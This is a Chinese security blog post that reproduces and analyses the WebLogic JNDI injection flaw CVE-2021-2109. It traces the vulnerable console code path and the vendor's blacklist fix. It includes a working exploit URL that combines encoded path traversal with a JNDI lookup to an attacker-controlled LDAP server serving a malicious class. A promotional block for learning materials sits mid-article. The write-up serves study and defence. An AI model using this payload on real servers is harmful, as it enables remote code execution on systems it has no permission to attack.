freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

WebLogic JNDI 注入(CVE-2021-2109)
蚁景科技 2023-03-02 10:07:10 192142
所属地 湖南省

0x01 前言

学习一下 WebLogic JNDI 注入 RCE(CVE-2021-2109)

0x02 环境搭建

和之前 WebLogic 的环境搭建是一致的,本文不再赘述。

不过值得一提的是,我的 weblogic 版本是 10.3.6;需要手动添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar到依赖里面

0x03 漏洞分析与复现

漏洞影响版本与前提条件

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。

拥有访问 /console/consolejndi.portal页面的用户权限,或者存在 CVE-2020-14883 未授权访问漏洞。关于未授权的漏洞我会放到 WebLogic 的另外一篇文章中再做分析

漏洞原理

WebLogic 的 /console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。

漏洞复现

payload 如下

http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)

我本地开启了一个 JNDI 的 Evil Class 和 Server

202303011442907.png

用 payload 打成功

202303011442909.png

漏洞分析

根据 payload 分析,先从 consolejndi.portal开始看起,.portal文件就类似于一个 servlet,在 consolejndi.portal中存在 JNDI Binding 操作的处理容器,如图

202303011442910.png

具体的处理逻辑在 /PortalConfig/jndi/jndibinding.portlet

202303011442912.png


【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)


去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction类中,发现存在一个 execute()方法,疑似存在 jndi 注入的漏洞。

202303011445189.png

观察需要如何构造恶意 payload,c 是由 ConsoleUtils.initNamingContext(serverMBean);得来,而 serverMBean是通过 domainMBean.lookupServer(serverName);得来,其中一系列关系我将会由下图说明

202303011442913.png

接着我们自上而下顺序看代码,先是强转了一个 JndiBindingHandle类,这里面 getHandleContext()的逻辑并不复杂,最终会调用 JndiBindingHandle 的构造函数。

202303011442914.png

如图,我们在 payload 当中的这一段被放进了构造函的 type与 objectIdentifier中,而 "ldapxxxx"这一段会被放在 components 中,由分号分隔

JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer")

继续往下看,我们想要进入 JNDI 注入的那一段代码,需要满足两个条件,一个是 serverMBean != null,另一个是 c != null,我们进到 serverMBean看一下代码逻辑

  • lookupServer是 DommainMBean接口的方法,我们去看它的实现类

202303011442913.png

202303011442915.png

实际上这里是动态代理调用的,会自动跟进到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke下,其中 method 的值为 weblogic.management.configuration.DomainMBean#lookupServer,它的 method 代码逻辑在实现类当中,也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer

202303011442916.png

我们需要走到 do while 的逻辑里面,返回 var3,而不是返回 null

202303011442917.png

通过调试得到 var2 的值为 AdminServer,这里没有其他的值了,原因如图

202303011442918.png

202303011442919.png

所以此处要求我们输入的 var1 与 AdminServer相同,回过头去看 var1 是什么呢,var1 其实是 serverName

202303011442920.png

发现 serverName 也是可控的

202303011442921.png

现在 serverBean != null没问题,就要看 jndi lookup 的地址是否可控。

很明显,jndi lookup 的地址也是可控的

202303011442922.png

我们进到 JndiBindingHandle类去看一下 set/getComponents()的逻辑,先调用了 HandleImpl#getComponent

202303011442923.png

跟进

202303011442924.png

主要逻辑就是在讲,以 ;分隔,如此一来,我们就可控 context 与 binding,可以进行 jndi 注入

最后捋一下整体条件

1、;号隔开 jndi 地址2、serverName 必须为 AdminServer

0x04 漏洞修复

根据 Y4er 师傅这里的说法是,对 Jndi 的黑名单进行了判断,如图

202303011442925.png

0x05 小结

不算难的一个漏洞,只是环境搭建当时踩了很多坑,欢迎师傅们与我交流踩坑问题,我会竭力帮助。

更多网安技能的在线实操练习,请点击这里>>


# 漏洞分析 # 漏洞复现 # CVE-2021-2109
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录